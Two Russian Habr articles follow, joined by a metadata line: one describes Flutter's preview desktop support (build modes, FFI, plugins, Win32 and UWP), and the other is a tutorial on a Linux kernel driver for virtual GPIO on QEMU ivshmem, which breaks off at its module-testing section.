Ни для кого не секрет то, что команда разработчиков Flutter стремится к тому, чтобы этот фреймворк позволял бы, пользуясь единой кодовой базой, создавать приложения для широкого разнообразия платформ. Сюда входят iOS, Android, Windows, Linux, macOS и веб. При этом такие приложения должны компилироваться в формат, специфичный для каждой из платформ, а их внешний вид не должен уступать внешнему виду хорошо сделанных игр. В Google фреймворк Flutter применяется во многих проектах: от [Assistant](https://store.google.com/product/google_nest_hub) до [Stadia](https://stadia.google.com/), от [Cloud Search](https://play.google.com/store/apps/details?id=com.google.enterprise.topaz.mobile.android) до [Blogger](https://play.google.com/store/apps/details?id=com.google.android.apps.blogger). Flutter используются и другими компаниями — от [ByteDance](https://apps.apple.com/cn/app/%E4%BB%8A%E6%97%A5%E5%A4%B4%E6%9D%A1/id529092160?l=en) до [Grab](https://play.google.com/store/apps/details?id=com.grabtaxi.passenger), от [Nubank](https://medium.com/building-nubank/https-medium-com-freire-why-nubank-chose-flutter-61b80b568772) до [MGM Resorts](https://superformula.com/flutter/). Всем им приносит пользу та гибкость и продуктивность разработки, которую даёт Flutter.
Многие из вас заинтересованы в развитии возможностей Flutter, касающихся настольных платформ, куда входят Windows, macOS, Linux. В опросах и на GitHub тема разработки настольных приложений относится к одной из самых заметных новых возможностей Flutter. В ближайшее время мы собираемся больше рассказать о том, чем мы занимаемся. Полагаем, стоит начать с обзора того, что сделано различными командами, отвечающими за возможности Flutter. Хотя поддержка настольных приложений пока находится на стадии ознакомительной технической версии, над соответствующими возможностями ведётся серьёзная работа.
[](https://habr.com/ru/company/ruvds/blog/508128/)
Сборка приложений
-----------------
Недавно мы выпустили профили и режимы сборки приложений для [Windows](https://github.com/flutter/flutter/issues/38477) и [Linux](https://github.com/flutter/flutter/issues/38478) — в дополнение к существующей поддержке macOS. Например, если вы пользуетесь последней сборкой Flutter, Flutter-приложения можно компилировать в исполняемые файлы Windows командой `flutter build windows`. Для этого используется наш [AOT-компилятор](https://en.wikipedia.org/wiki/Ahead-of-time_compilation) продакшн-уровня, который позволяет создавать машинный код для архитектуры x64, который можно выполнять на соответствующих компьютерах без установки Flutter.
Особенности настольных приложений
---------------------------------
Разрабатываете ли вы приложение, представленное самостоятельным исполняемым файлом, или веб-приложение, у настольных приложений есть некоторые специфические возможности и особенности. Например, окна настольных приложений обычно выводятся в ландшафтном режиме, а их размер можно менять. Пользователи обычно вводят данные в приложения, применяя клавиатуру и мышь, а не экранные клавиатуры и сенсорный ввод. Элементы управления оптимизированы с учётом того, что в настольных приложениях при размещении элементов управления используются особые значения визуальной плотности.
Мы, на уровне фреймворка, внесли во Flutter некоторые изменения, которые направлены на поддержку настольных приложений.
* Когда вы создаёте новый проект в свежих сборках Flutter, вы увидите, что шаблон, применяемый по умолчанию, теперь включает в себя ссылку на свойство `visualDensity`, которое [позволяет](https://github.com/flutter/flutter/issues/43350) настраивать визуальную плотность расположения элементов управления на основе целевой платформы приложения. В макетах настольных приложений элементы управления «упакованы» плотнее, чем в мобильных приложениях. Например, это используется при настройке текстового поля (`TextField`), которое теперь предлагает варианты визуальной плотности [compact, comfortable и standard](https://github.com/flutter/flutter/pull/51438), зависящие от параметров проекта.
* Мы значительно улучшили поддержку мыши и клавиатуры. Сюда входит возможность работы с [кодами](https://github.com/flutter/flutter/issues/52264) клавиш клавиатуры в Windows, поддержка щелчка правой кнопкой мыши, поддержка [изменения курсора](https://github.com/google/flutter-desktop-embedding/issues/376) и колёсика мыши.
* Теперь можно, пользуясь классом `Platform`, узнавать о том, на какой платформе выполняется приложение. При работе приложения а Windows, macOS и Linux можно получить соответствующие результаты.
* В самом свежем релизе мы добавили [виджет NavigationRail](https://api.flutter.dev/flutter/material/NavigationRail-class.html), представляющий нечто вроде боковой панели. Этот виджет специально спроектирован для поддержки возможностей приложений, запускаемых на настольных ПК и на планшетах.
FFI
---
Команда Dart проделала большую работу по улучшению интерфейса внешних функций (Foreign Function Interface, FFI). Это способствует повышению скорости внедрения новых возможностей во Flutter. Например, для API, основанных на C, библиотека `dart:ffi` предоставляет прямой механизм для организации привязки к нативному коду. Среда выполнения Dart даёт возможность вызывать динамически связываемые библиотеки и выделять память в куче. В основе этого механизма лежат объекты Dart.
Вот фрагмент кода ([здесь](https://gist.github.com/timsneath/181092c75864001ca37b1b1495b9b396) можно найти его полный вариант), представляющий собой простой пример, в котором показано обращение к традиционному Win32-API `MessageBox()`, полностью выполняемое средствами Dart-кода:
```
typedef MessageBoxNative = Int32 Function(
IntPtr hWnd, Pointer lpText, Pointer lpCaption, Int32 uType);
typedef MessageBoxDart = int Function(
int hWnd, Pointer lpText, Pointer lpCaption, int uType);
final user32 = DynamicLibrary.open('user32.dll');
final win32MessageBox =
user32.lookupFunction('MessageBoxW');
void showMessageBox(String message, String caption) => win32MessageBox(
0, // Нет окна-владельца
Utf16.toUtf16(message), // Текст сообщения
Utf16.toUtf16(caption), // Заголовок окна
0 // Только кнопка OK
);
…
showMessageBox('Test Message', 'Window Caption'); // этот вызов выглядит как вызов обычной Dart-функции
```
Здесь у нас имеются `typedef`-псевдонимы, представляющие сигнатуры методов и для их нативного представления, и для их Dart-представления. Когда у нас есть эти псевдонимы, мы можем загрузить динамически связываемую библиотеку Windows, которая содержит реализацию функции. Для этого можно воспользоваться методом `lookupFunction()`, который делает мэппинг сигнатуры функции Dart на нативную функцию. И, наконец, мы, что не обязательно, описываем простую функциональную обёртку, которая упрощает работу с нативными механизмами в Dart-коде. В результате у нас получается нечто, подобное следующему рисунку.
*Простой пример Windows-проекта, в котором использовано Win32-API MessageBox()*
На самом деле, программисту необязательно делать всё это самому. Дело в том, что велика вероятность того, что кто-то уже подготовил [код](https://pub.dev/packages/win32), упрощающий работу с необходимыми вам API. [Здесь](https://flutter.dev/docs/development/platform-integration/c-interop) о FFI можно почитать подробнее.
Обновление модели плагинов
--------------------------
Flutter спроектирован с учётом того, чтобы у него было бы компактное ядро. Для оснащения фреймворка дополнительными возможностями соответствующий функционал оформляется в виде подключаемых плагинов и пакетов, дающих возможность интеграции с операционными системами, на которых работает Flutter. Плагины и пакеты могут создавать не только разработчики Flutter, но и другие программисты.
Правда, учитывая то, что во Flutter улучшается поддержка мобильных и настольных платформ, а так же веб-приложений, разрабатывать плагины для каждой поддерживаемой фреймворком платформы становится всё сложнее и сложнее. При разработке некоего плагина, весьма вероятно, понадобится объединить усилия разных программистов, каждый из которых хорошо разбирается в какой-то платформе.
Здесь нам на помощь может прийти подход, в соответствии с которым некий базовый плагин описывает общий интерфейс, который может быть независимо реализован на разных платформах. В результате, как было описано в свежем [материале](https://medium.com/flutter/modern-flutter-plugin-development-4c3ee015cf5a) про современную разработку плагинов, мы недавно внедрили во Flutter систему, которая упрощает совместную работу различных авторов над плагинами. Благодаря этой системе уже можно в [явном виде указывать](https://flutter.dev/docs/development/packages-and-plugins/developing-packages#plugin-platforms) то, какие именно платформы поддерживаются конкретным плагином.
Мы начали использовать эту модель при работе над некоторыми базовыми плагинами. Примеры нового подхода к совместной разработке плагинов можно найти [здесь](https://github.com/flutter/plugins/tree/master/packages/path_provider).
Обратите внимание на то, что API плагинов для Windows и Linux пока ещё не устоялся, поэтому, хотя мы и советуем разработчикам знакомиться с новыми возможностями Flutter, мы пока не готовы к выпуску этих возможностей в продакшн. Мы, кроме того, работаем над добавлением на pub.dev тегов, относящихся к настольным платформам.
Запуск программ на Windows: Win32 и UWP
---------------------------------------
Один интересный аспект нашей работы, связанный с Windows, заключается в том, что здесь мы экспериментируем с различными подходами к архитектуре. Flutter, на любой платформе, внедряется в маленькое хост-приложение, являющееся контейнером («embedder») с применением подхода, напоминающего тот, который используется в игровых движках вроде Unity. Это приложение-embedder, особое для каждой платформы, предоставляет нам точку входа в проект. Оно согласовывает свои действия с операционной системой, работая со средствами рендеринга, с пользовательским вводом и с инструментами, обеспечивающими доступность контента. Оно поддерживает и цикл событий.
Windows даёт нам два способа создания подобного приложения. Первый — это зрелая модель программирования Win32, которую можно использовать в качестве точки входа для Flutter-проектов. Этот подход предлагает максимальный уровень обратной совместимости с различными платформами, с такими, как Windows 7. Он позволяет создавать стандартные EXE-файлы, которые ожидает получить в результате работы над проектом множество программистов. В отличие от Win32, современная модель приложений UWP рекомендована для Windows 10. Эта модель предлагает заманчивые возможности по созданию Flutter-приложений для особых устройств, вроде Xbox, и для ОС [Windows 10X](https://docs.microsoft.com/en-us/dual-screen/windows/get-dev-tools), которая должна скоро выйти.
Мы, неофициально, работаем с различными разработчиками и исследуем разные решения. Мы с удовольствием более близко поработали бы с Microsoft ради того, чтобы повысить качество Windows-приложений, сделанных во Flutter. Так как семейство устройств Surface теперь включает в себя системы, основанные на Android и на Windows, мы думаем, что Flutter способен предложить Microsoft мощную платформу, которая позволяет создавать привлекательные нативные приложения для самых разных устройств.
Эксперименты с настольными приложениями
---------------------------------------
Так как возможности, о которых шла речь, пока находятся на стадии ознакомительной технической версии, API и вспомогательные инструменты всё ещё нестабильны. У нас запланировано ещё много дел, которые нужно доделать прежде чем мы переведём поддержку настольных приложений в разряд стабильных возможностей. Сюда входят, кроме того, улучшение доступности контента и локализации.
Если вы уже сейчас хотите испытать новые возможности, то вам нужно пользоваться каналом разработки. Поддержка Windows и Linux доступна в ветке `master`, в том месте, где идёт активная разработка Flutter. Поддержка macOS доступна в ветке `dev`. Там находятся более стабильные возможности, которые, правда, не рекомендуется применять в продакшне. Переключаться между каналами можно, используя команды `flutter channel master` или `flutter channel dev`. После этого нужно выполнить одну из следующих команд для того чтобы включить поддержку интересующей вас платформы:
```
C:\flutter> flutter config --enable-windows-desktop
$ flutter config --enable-macos-desktop
$ flutter config --enable-linux-desktop
```
Мы уже видели, как некоторые смелые разработчики начали создавать настольные приложения с помощью новых возможностей Flutter. Одно из первых таких приложений разработано для macOS. Оно называется [Sharezone](https://sharezone.net/). Это — планировщик для учеников, нацеленный на немецкий рынок образования. Сначала этот проект был выпущен в виде мобильного приложения. А недавно он вышел в настольном варианте и в варианте, предназначенном для веб.
*Sharezone Schulplan — приложение для учеников, учителей и родителей. Оно позволяет планировать и отслеживать домашние задания, учебные группы и расписания*
**Планируете ли вы использовать Flutter для разработки настольных приложений?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=flutter-nastolnye-prilozhenija)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=flutter-nastolnye-prilozhenija) | https://habr.com/ru/post/508128/ | null | ru | null |
# Драйвер виртуальных GPIO с контроллером прерываний на базе QEMU ivshmem для Linux
Трудно недооценить роль **GPIO**, особенно в мире встраиваемых систем ARM. Помимо того, что это крайне популярный материал для всех руководств для начинающих, **GPIO** обеспечивают способ для управления многими периферийными устройствами, выступают в качестве источника ценных прерываний, или даже могут быть единственным доступным способом общения с миром для SOC.
Основываясь на собственном скромном опыте, могу сказать, что прерывания далеко не самая освященная тема в сообществе Linux. Из-за своих особенностей, а так же сильной привязки к аппаратной части, все обучающие материалы посвященные прерываниям лишены реального и легко воспроизводимого примера. Данный факт мешает пониманию того, что очень часто прерывания и GPIO неразделимы, особенно в области встраиваемого Linux. Многие начинают верить, что GPIO это очень простая и скучная вещь (которая кстати и стала таковой благодаря подсистеме sysfs).
Даже в примере приведенном в LDD3 (драйвер snull) прерывания эмитируются явным вызовом функции парного устройства. Так же имеются примеры в курсах USFCA (<http://cs.usfca.edu/~cruse/cs686s08/>), но они используют чужое прерывание, тесно связаны с архитектурой x86 и сильно устарели.
Предлагаемое решение способно решить данные проблемы. С точки зрения пространства пользователя и, во многом, во внутренней реализации драйвер неотличим от большинства "реальных", предоставляющих прерывания портов входов/выходов общего назначения. На данный момент драйвер поддерживает прерывания по переднему или заднему фронту и может быть использован как источник прерываний для других устройств.
ivshmem — разделяемая память Inter-VM
-------------------------------------
Разработано для совместного использования разделяемой памяти (выделенной на хост-платформе через механизм POSIX shared memory API) множественными процессами QEMU с различными гостевыми платформами. Для того чтобы все гостевые платформы имели доступ к области разделяемой памяти, ivshmem моделирует PCI устройство предоставляя доступ к памяти как PCI BAR.
С точки зрения виртуальной машины, устройство ivshmem PCI содержит три базовых адресных регистра (BAR).
* BAR0 представляет из себя область MMIO поддерживающую регистры и прерывания в случае если MSI не используется, размером один килобайт
* BAR1 используется для MSI-X, если поддержка MSI включена.
* BAR2 для доступа к объекту разделяемой памяти.
Данный механизм был представлен Cam Macdonnel в оригинальном докладе [“Nahanni — a shared memory interface for KVM”](http://www.linux-kvm.org/images/e/e8/0.11.Nahanni-CamMacdonell.pdf) (впоследствии стал известен как ivshmem), в котором выдвинул следующие тезисы:
* zero-copy доступ к данным
* механизм прерываний
* взаимодействие гость/гость и хозяин/гость
и проанализировал быстродействие в целом.
В настоящей момент, официально, сопровождение ivshmem никто не осуществляет, тем не менее большой вклад в развитие ivshmem вносят сотрудники Red Hat.
Цель
----
ivshmem может послужить основой для симуляции и отладки многих классов устройств.
В данной статье мы рассматриваем виртуальную pci плату ввода/вывода общего назначения (general-purpose input/output, GPIO), которая так же является источником прерываний, и соответствующий драйвер с предоставлением доступа и управления посредством механизма sysfs.
Предпосылки:
* Исходный код Qemu 2.5.1.1 (не рекомендуется брать более младшую версию)
* Исходный код linux-kernel 4.1
Для разработки и тестирования использовалась виртуальная плата qemu versatilepb (system ARM).
Опционально:
* arm-cross-toolchain
* [nairobi-embedded](http://nairobi-embedded.org/linux_pci_device_driver.html) — Guest-side ivshmem PCI device test sources
Условные обозначения:
**g>> — команды или вывод выполняемые на гостевой системе.**
**h>> — на основной.**
Пример и оригинальный код
-------------------------
Для начала продемонстрируем оригинальный код, основанный на оригинальном коде ( <https://github.com/henning-schild/ivshmem-guest-code> ), и модифицированном, в последствии, Siro Mugabi.
```
h>> qemu: += -device ivshmem,shm=ivshmem,size=1
g>> # insmod ne_ivshmem_ldd_basic.ko
ivshmem 0000:00:0d.0: data_mmio iomap base = 0xc8c00000
ivshmem 0000:00:0d.0: data_mmio_start = 0x60000000 data_mmio_len = 1048576
ivshmem 0000:00:0d.0: regs iomap base = 0xc88ee400, irq = 27
ivshmem 0000:00:0d.0: regs_addr_start = 0x50002400 regs_len = 256
g>> # ./ne_ivshmem_shm_guest_usr -w "TEST STRING"
h>> $ xxd -l 16 /dev/shm/ivshmem
0000000: 5445535420535452 494e 4700 0000 0000 TEST STRING.....
```
В принципе этого вполне достаточно для эмуляции GPIO уже в таком виде. И во многих случаях так и поступали, когда достаточно простого состояния входа или записи в выход, использование sysfs и прерываний предполагают небольшую надстройку на I/O mem.
Реализация
==========
Заметим, что **/dev/ivshmem0** и **ne\_ivshmem\_shm\_guest\_usr.c** нам более не нужны, вся работа с устройством со стороны гостевой машины из пространства пользователя (user-space) будет осуществляться средствами интерфейса **sysfs**.
Прежде чем разметить наше устройство в памяти, хотелось бы отметить, что мы просто дублируем схему применяемую в большинстве gpio драйверов.
Во-первых все входа/выхода gpio разделены на порты, как правило по 8, 16, 32 входа. Каждый порт имеет, как минимум, регистр состояния входов (**GPIO\_DATA**), регистр направления, если переключение in/out поддерживается (**GPIO\_OUTPUT**). Далее (если есть поддержка в самом устройстве), регистр состояния прерываний, регистры прерывания по переднему фронту (rising) и заднему фронту (falling) и по уровню (high и low). Аппаратное прерывание, поставляемое главным контроллером прерываний, как правило, одно на весь порт и делится между всеми входами порта.
Примеры существующих реализаций с комментариями
-----------------------------------------------
### Sitara am335x
*более известна в составе платы beaglebone*
**Разработчик:** Texas Instruments
**Документация:** [AM335x Sitara Processors Technical Reference Manual](http://www.ti.com/lit/ug/spruh73m/spruh73m.pdf) (page 4865)
**Соответствующий ему драйвер gpio:** [linux/drivers/gpio/gpio-omap.c](http://lxr.free-electrons.com/source/drivers/gpio/gpio-omap.c)
**Соответствующий заголовок:** [linux/include/linux/platform\_data/gpio-omap.h](http://lxr.free-electrons.com/source/include/linux/platform_data/gpio-omap.h)
**Количество входов/выходов:** 128 (4 gpio порта — по 32 контакта каждый)
**am335x Sitara таблица регистров gpio - порт A**
| Имя регистра | Смещение | Имя в драйвере | Комментарий |
| --- | --- | --- | --- |
| GPIO\_IRQSTATUS\_0 | 0x02С | OMAP4\_GPIO\_IRQSTATUS\_0 | Состояние прерывания для заданного входа |
| GPIO\_IRQSTATUS\_1 | 0x030 | OMAP4\_GPIO\_IRQSTATUS\_1 | Состояние прерывания для заданного входа |
| GPIO\_IRQSTATUS\_SET\_0 | 0x034 | OMAP4\_GPIO\_IRQSTATUS\_SET\_0 | Включает прерывания по заданному входу |
| GPIO\_IRQSTATUS\_SET\_1 | 0x038 | OMAP4\_GPIO\_IRQSTATUS\_SET\_1 | Включает прерывания по заданному входу |
| GPIO\_IRQSTATUS\_CLR\_0 | 0x03С | OMAP4\_GPIO\_IRQSTATUS\_CLR\_0 | Выключает прерывания по заданному входу |
| GPIO\_IRQSTATUS\_CLR\_1 | 0x040 | OMAP4\_GPIO\_IRQSTATUS\_CLR\_1 | Выключает прерывания по заданному входу |
| GPIO\_OE | 0x134 | OMAP4\_GPIO\_OE | Контролирует состояние вход/выход (in/out) |
| GPIO\_DATAIN | 0x138 | OMAP4\_GPIO\_DATAIN | Состояние входа/выхода |
| GPIO\_DATAOUT | 0x13C | OMAP4\_GPIO\_DATAOUT | Задание состояния для выходов (low/high) |
| GPIO\_LEVELDETECT0 | 0x140 | OMAP4\_GPIO\_LEVELDETECT0 | Включение/выключения прерывания для входа по низкому уровню сигнала |
| GPIO\_LEVELDETECT1 | 0x144 | OMAP4\_GPIO\_LEVELDETECT1 | Включение/выключения прерывания для входа по высокому уровню сигнала |
| GPIO\_RISINGDETECT | 0x148 | OMAP4\_GPIO\_RISINGDETECT | Включение/выключения прерывания для входа по переднему фронту |
| GPIO\_FALLINGDETECT | 0x14С | OMAP4\_GPIO\_FALLINGDETECT | Включение/выключения прерывания для входа по заднему фронту |
| GPIO\_CLEARDATAOUT | 0x190 | OMAP4\_GPIO\_CLEARDATAOUT | Переключает соответствующий вход в состояние low |
| GPIO\_SETDATAOUT | 0x194 | OMAP4\_GPIO\_SETDATAOUT | Переключает соответствующий вход в состояние high |
*Примечание: GPIO\_IRQSTATUS\_N также используется для IRQ ACK. Управление дребезгом, а так же питанием выходит за рамки данной статьи.*
Наличие регистров GPIO\_CLEARDATAOUT и GPIO\_SETDATAOUT помимо регистра GPIO\_DATAOUT, а так же GPIO\_IRQSTATUS\_SET\_N и GPIO\_IRQSTATUS\_CLR\_N помимо GPIO\_IRQSTATUS\_N, объясняется двумя способами записи состояния выхода:
* Стандартный: Чтение запись регистра полностью по основному адресу
* Задание и очистка (рекомендуемый производителем): Для задания и очистки соответствующего контакта как выхода используются два соответствующих регистра, то же самое относится к управлению прерываниями.
### ep9301
**Разработчик:** Cirrus Logic
**Документация:** [EP9301 User’s Guide](https://www.embeddedarm.com/documentation/third-party/ts-7000_ep9301-ug.pdf) (page 523)
**Соответствующий ему драйвер gpio:** [linux/drivers/gpio/gpio-ep93xx.c](http://lxr.free-electrons.com/source/drivers/gpio/gpio-ep93xx.c)
**Соответствующий заголовок:** [linux/arch/arm/mach-ep93xx/include/mach/gpio-ep93xx.h](http://lxr.free-electrons.com/source/arch/arm/mach-ep93xx/include/mach/gpio-ep93xx.h)
**Количество входов/выходов:** 56 (7 портов gpio — по 8 контактов каждый)
**ep9301 таблица регистров gpio - порт A**
| Имя регистра | Смещение | Имя в драйвере | Описание |
| --- | --- | --- | --- |
| PADR | 0x00 | EP93XX\_GPIO\_REG(0x0) | Регистр состояние входов/выходов доступен для чтения записи |
| PADDR | 0x10 | EP93XX\_GPIO\_REG(0x10) | Контролирует состояние вход/выход (in/out) |
| GPIOAIntEn | 0x9C | int\_en\_register\_offset[0] | Включает прерывания по заданному входу |
| GPIOAIntType1 | 0x90 | int\_type1\_register\_offset[0] | Задает тип прерывания level/edge |
| GPIOAIntType2 | 0x94 | int\_type2\_register\_offset[0] | Задает high/rising или low/fallingв зависимости от выбранного типа прерываний |
| GPIOAEOI | 0x98 | eoi\_register\_offset[0] | Регистр для оповещения об обработанном прерывании |
| IntStsA | 0xA0 | EP93XX\_GPIO\_A\_INT\_STATUS | Регистр состояние прерывания |
*Примечание:*
*Из них для доступны 7 портов по 8, 8, 1, 2, 3, 2, 4 входов/выходов причем регистрами прерываний обладают только первый, второй и пятый порты.*
*В таблице рассмотрен только порт A.*
*Одной из особенностей ep9301, является то что тип прерываний both на аппаратном уровне не поддерживается, в драйвере происходит переключение в момент срабатывания прерывания. Другая интересная особенность — на порту F каждый контакт имеет свое собственное прерывание.*
### Bt848
*Последний пример: pci плата Bt848, с gpio.*
**Разработчик:** Intel
**Документация:** [Bt848/848A/849A](http://www.ai.mit.edu/projects/VariableViewpointReality/DataSheets/l848a_a.pdf) (page 68)
**Соответствующий драйвер gpio:** [linux/drivers/gpio/gpio-bt8xx.c](http://lxr.free-electrons.com/source/drivers/gpio/gpio-bt8xx.c)
**Соответствующий заголовок:** [linux/drivers/media/pci/bt8xx/bt848.h](http://lxr.free-electrons.com/source/drivers/media/pci/bt8xx/bt848.h)
**Количество входов/выходов:** 24
*Bt848 является платой видеозахвата.*
**Bt848 таблица регистров gpio**
| Имя регистра | Смещение | Имя в драйвере | Описание |
| --- | --- | --- | --- |
| BT848\_GPIO\_OUT\_EN | 0x118 | BT848\_GPIO\_OUT\_EN | Регистр состояние входов/выходов доступен для чтения и записи |
| BT848\_GPIO\_DATA | 0x200 | BT848\_GPIO\_DATA | Контролирует состояние вход/выход (in/out) |
*Поддержки прерываний нет. Всего два регистра — состояние и настройка in/out.*
Размечаем в памяти наше устройство
----------------------------------
Для начала выделим место под данные и управление состоянием.
Пусть устройство обладает 8 входами/выходами общего назначения, тогда:
| Имя регистра | Смещение | Имя в драйвере | Описание |
| --- | --- | --- | --- |
| DATA | 0x00 | VIRTUAL\_GPIO\_DATA | Регистр состояние входов/выходов доступен для чтения и записи |
| OUTPUTEN | 0x01 | VIRTUAL\_GPIO\_OUT\_EN | Контролирует состояние вход/выход (in/out) |
Краткая справка по интерфейсу gpio
----------------------------------
```
struct gpio_chip {
/* имя порта gpio */
const char *label;
/* функция задания как входа */
int (*direction_input)(struct gpio_chip *chip, unsigned offset);
/* состояние контакта */
int (*get)(struct gpio_chip *chip, unsigned offset);
/* функция задания как выхода */
int (*direction_output)(struct gpio_chip *chip, unsigned offset, int value);
/* задание состояния */
void (*set)(struct gpio_chip *chip, unsigned offset, int value);
/* номер первого контакта в контексте ядра, присваивается динамически в случае значения равном -1 */
int base;
/* количество контактов */
u16 ngpio;
};
```
Документация:
[<https://www.kernel.org/doc/Documentation/gpio/sysfs.txt>](https://www.kernel.org/doc/Documentation/gpio/sysfs.txt)
Ссылка на исходный код:
[linux-kernel 4.1](http://lxr.free-electrons.com/source/include/linux/gpio/driver.h?v=4.1)
#### Состояние выхода при переключении
Необходимо отметить параметр **int value** в функции **direction\_output**, которая обслуживает файл /sys/class/gpio/gpioN/direction, принимающий значение не только “in”/”out”, но так же и “high”/“low”, значения которых передаются как параметр **value** (*этот простой факт, по какой-то причине, редко упоминается в руководствах для начинающих*).
```
g>> /sys/class/gpio # echo low > gpio0/direction
g>> /sys/class/gpio # cat gpio0/value
0
g>> /sys/class/gpio # echo high > gpio0/direction
g>> /sys/class/gpio # cat gpio0/value
1
```
#### Динамическое присвоение int base и наследие ARCH\_NR\_GPIOS
Исторически, количество GPIO в ядре было ограничено параметром **ARCH\_NR\_GPIOS**, по умолчанию равном 256 и, впоследствии увеличенном до 512 ([версия 3.18](https://github.com/torvalds/linux/commit/7ca267faba8ad097f57cb71c32ae1865de83241a)).
Его смысл достаточно прост, в ядре не может быть больше GPIO чем значение параметра, если планируемое количество было больше чем значение по умолчанию, он переопределялся в соответствующем заголовочном файле платформы.
Причиной такого поведения было определение таблицы описаний GPIO как статической и максимальная величина смещения для каждого порта была ограничена:
```
static struct gpio_desc gpio_desc[ARCH_NR_GPIOS];
```
Порты GPIO и их смещения были жестко определены в файлах описывающих аппаратную часть конкретного SOC, например:
**EP93XX\_GPIO\_BANK**[/source/arch/arm/mach-ep93xx/gpio.c](http://lxr.free-electrons.com/source/arch/arm/mach-ep93xx/gpio.c?v=2.6.34#L415)
```
#define EP93XX_GPIO_BANK(name, dr, ddr, base_gpio) \
{ \
.chip = { \
.label = name, \
.direction_input = ep93xx_gpio_direction_input, \
.direction_output = ep93xx_gpio_direction_output,\
.get = ep93xx_gpio_get, \
.set = ep93xx_gpio_set, \
.dbg_show = ep93xx_gpio_dbg_show, \
.base = base_gpio, \
.ngpio = 8, \
}, \
.data_reg = EP93XX_GPIO_REG(dr), \
.data_dir_reg = EP93XX_GPIO_REG(ddr), \
}
static struct ep93xx_gpio_chip ep93xx_gpio_banks[] = {
EP93XX_GPIO_BANK("A", 0x00, 0x10, 0),
EP93XX_GPIO_BANK("B", 0x04, 0x14, 8),
EP93XX_GPIO_BANK("C", 0x08, 0x18, 40),
EP93XX_GPIO_BANK("D", 0x0c, 0x1c, 24),
EP93XX_GPIO_BANK("E", 0x20, 0x24, 32),
EP93XX_GPIO_BANK("F", 0x30, 0x34, 16),
EP93XX_GPIO_BANK("G", 0x38, 0x3c, 48),
EP93XX_GPIO_BANK("H", 0x40, 0x44, 56),
};
```
Начиная с [версии 3.19](https://github.com/torvalds/linux/commit/14e85c0e69d5c7fdbd963edbbec1dc5cdd385200) статический массив был заменен на динамические для каждого порта GPIO, выделяемого в фукнции **gpiochip\_add()**.
Тем не менее **ARCH\_NR\_GPIOS** все еще здесь (на момент версии 4.7) и используется для поиска смещения при динамическом присваивании base.
```
/* dynamic allocation of GPIOs, e.g. on a hotplugged device */
static int gpiochip_find_base(int ngpio);
```
Параметр **base** структуры **gpio\_chip** может быть определен как -1, тогда смещение будет определено как первый свободный диапазон начиная с конца, то есть если у порта количество контактов равно 8 смещение будет равно 248 при параметре **ARCH\_NR\_GPIOS** равном 256 (**ARCH\_NR\_GPIOS** — ngpio) в случае если порт регистрируется в системе первым.
Определим следующие функции нашего драйвера
-------------------------------------------
Задать соответствующий контакт как вход:
**static int virtual\_gpio\_direction\_input(struct gpio\_chip \*gpio, unsigned nr)**
```
static int virtual_gpio_direction_input(struct gpio_chip *gpio, unsigned nr)
{
struct virtual_gpio *vg = to_virtual_gpio(gpio);
unsigned long flags;
u8 outen, data;
spin_lock_irqsave(&vg->lock, flags);
data = vgread(VIRTUAL_GPIO_DATA);
data &= ~(1 << nr);
vgwrite(data, VIRTUAL_GPIO_DATA);
outen = vgread(VIRTUAL_GPIO_OUT_EN);
outen &= ~(1 << nr);
vgwrite(outen, VIRTUAL_GPIO_OUT_EN);
spin_unlock_irqrestore(&vg->lock, flags);
return 0;
}
```
Чтение текущего состояния контакта:
**static int virtual\_gpio\_get(struct gpio\_chip \*gpio, unsigned nr)**
```
static int virtual_gpio_get(struct gpio_chip *gpio, unsigned nr)
{
struct virtual_gpio *vg = to_virtual_gpio(gpio);
unsigned long flags;
u8 data;
spin_lock_irqsave(&vg->lock, flags);
data= vgread(VIRTUAL_GPIO_DATA);
spin_unlock_irqrestore(&vg->lock, flags);
return !!(data & (1 << nr));
}
```
Задать соответствующий контакт как выход:
**static int virtual\_gpio\_direction\_output(struct gpio\_chip \*gpio, unsigned nr, int val)**
```
static int virtual_gpio_direction_output(struct gpio_chip *gpio, unsigned nr, int val)
{
struct virtual_gpio *vg = to_virtual_gpio(gpio);
unsigned long flags;
u8 outen, data;
spin_lock_irqsave(&vg->lock, flags);
outen = vgread(VIRTUAL_GPIO_OUT_EN);
outen |= (1 << nr);
vgwrite(outen, VIRTUAL_GPIO_OUT_EN);
data = vgread(VIRTUAL_GPIO_DATA);
if (val)
data |= (1 << nr);
else
data &= ~(1 << nr);
vgwrite(data, VIRTUAL_GPIO_DATA);
spin_unlock_irqrestore(&vg->lock, flags);
return 0;
}
```
Задать состояние выхода:
**static void virtual\_gpio\_set(struct gpio\_chip \*gpio, unsigned nr, int val)**
```
static void virtual_gpio_set(struct gpio_chip *gpio, unsigned nr, int val)
{
struct virtual_gpio *vg = to_virtual_gpio(gpio);
unsigned long flags;
u8 data;
spin_lock_irqsave(&vg->lock, flags);
data = vgread(VIRTUAL_GPIO_DATA);
if (val)
data |= (1 << nr);
else
data &= ~(1 << nr);
vgwrite(data, VIRTUAL_GPIO_DATA);
spin_unlock_irqrestore(&vg->lock, flags);
}
```
Функция регистрации нашего драйвера как устройства gpio\_chip:
**static void virtual\_gpio\_setup(struct virtual\_gpio \*gpio)**
```
static void virtual_gpio_setup(struct virtual_gpio *gpio)
{
struct gpio_chip *chip = &gpio->chip;
chip->label = dev_name(&gpio->pdev->dev);
chip->owner = THIS_MODULE;
chip->direction_input = virtual_gpio_direction_input;
chip->get = virtual_gpio_get;
chip->direction_output = virtual_gpio_direction_output;
chip->set = virtual_gpio_set;
chip->dbg_show = NULL;
chip->base = modparam_gpiobase;
chip->ngpio = VIRTUAL_GPIO_NR_GPIOS;
chip->can_sleep = 0; // gpio never sleeps!
}
```
*vgread и vgwrite это просто обертки для функций iowrite8 и ioread8:*
```
#define vgwrite(dat, adr) iowrite8((dat), vg->data_base_addr+(adr))
#define vgread(adr) ioread8(vg->data_base_addr+(adr))
```
Передача значения gpiobase в качестве параметра при динамической загрузки модуля
--------------------------------------------------------------------------------
*Примечание: [Начиная с версии 4.2 являетя рекомендованным способом регистрации порта GPIO.](https://github.com/torvalds/linux/commit/af6c235d1a5c112964c3029eb0ed4b52c7aa33bf)*
```
static int modparam_gpiobase = -1; /* dynamic */
module_param_named(gpiobase, modparam_gpiobase, int, 0444);
MODULE_PARM_DESC(gpiobase, "The GPIO base number. -1 means dynamic, which is the default.");
```
Загрузка и тестирования модуля
------------------------------
```
h>> $ rm /dev/shm/ivshmem
